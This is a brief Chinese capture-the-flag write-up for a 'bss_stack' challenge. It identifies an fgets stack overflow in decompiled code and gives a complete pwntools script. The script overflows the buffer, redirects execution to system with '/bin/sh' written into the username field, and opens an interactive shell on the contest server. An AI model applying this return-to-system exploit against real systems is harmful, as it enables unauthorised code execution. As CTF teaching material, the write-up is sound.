十一欢乐赛-bss_stack

找了半天才找到在哪有栈溢出QAQ

是在输入完用户名再输入1之后,

1
2
3
4
5
6
7
8
char s; // [esp+11h] [ebp-17h]

printf("Enter password: ");
fflush(stdout);
fgets(&s, 100, stdin);
puts("Authentification failed");
fflush(stdout);
return sleep(1u);

fgets可以读入100个字符,s大小为0x17,所以输入超过0x17+4的话就可以覆盖返回地址。

这题是有system函数调用的,只是没有/bin/sh字符串,所以只需要找到system地址,再在username地址写入/bin/sh就行了,另外call system的时候会push一个返回地址,再往后才是参数command,因此要留出4个字节的offset脚本如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh=remote("47.100.40.190",10011)
sh.recvuntil('User name : ')
sh.sendline('/bin/sh')
sh.recvuntil('Action: ')
sh.sendline('1')
sh.recvuntil('Enter password: ')
payload='a'*0x17+'a'*4+p32(0x08048500)+'a'*4+p32(0x08049dc8)
sh.sendline(payload)
sh.interactive()

之后cat flag就可以得到flag了

文章目录
|